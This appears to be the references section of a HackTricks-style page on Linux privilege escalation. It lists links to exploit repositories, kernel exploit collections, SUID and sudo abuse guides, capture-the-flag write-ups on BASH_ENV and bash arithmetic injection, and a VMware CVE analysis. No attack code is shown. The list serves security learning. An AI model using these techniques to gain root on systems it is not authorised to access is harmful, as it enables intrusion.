• https://github.com/frizb/Linux-Privilege-Escalation

• https://github.com/lucyoa/kernel-exploits

• https://github.com/rtcrowley/linux-private-i

• https://www.linux.com/news/what-socket/

• https://muzec0318.github.io/posts/PG/peppo.html

• https://www.linuxjournal.com/article/7744

• https://blog.certcube.com/suid-executables-linux-privilege-escalation/

• https://juggernaut-sec.com/sudo-part-2-lpe

• https://linuxconfig.org/how-to-manage-acls-on-linux

• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

• https://www.linode.com/docs/guides/what-is-systemd/

• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)

• GNU Bash Manual – BASH_ENV (non-interactive startup file)

• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)

• NVISO – You name it, VMware elevates it (CVE-2025-41244)

{{#include ../../banners/hacktricks-training.md}}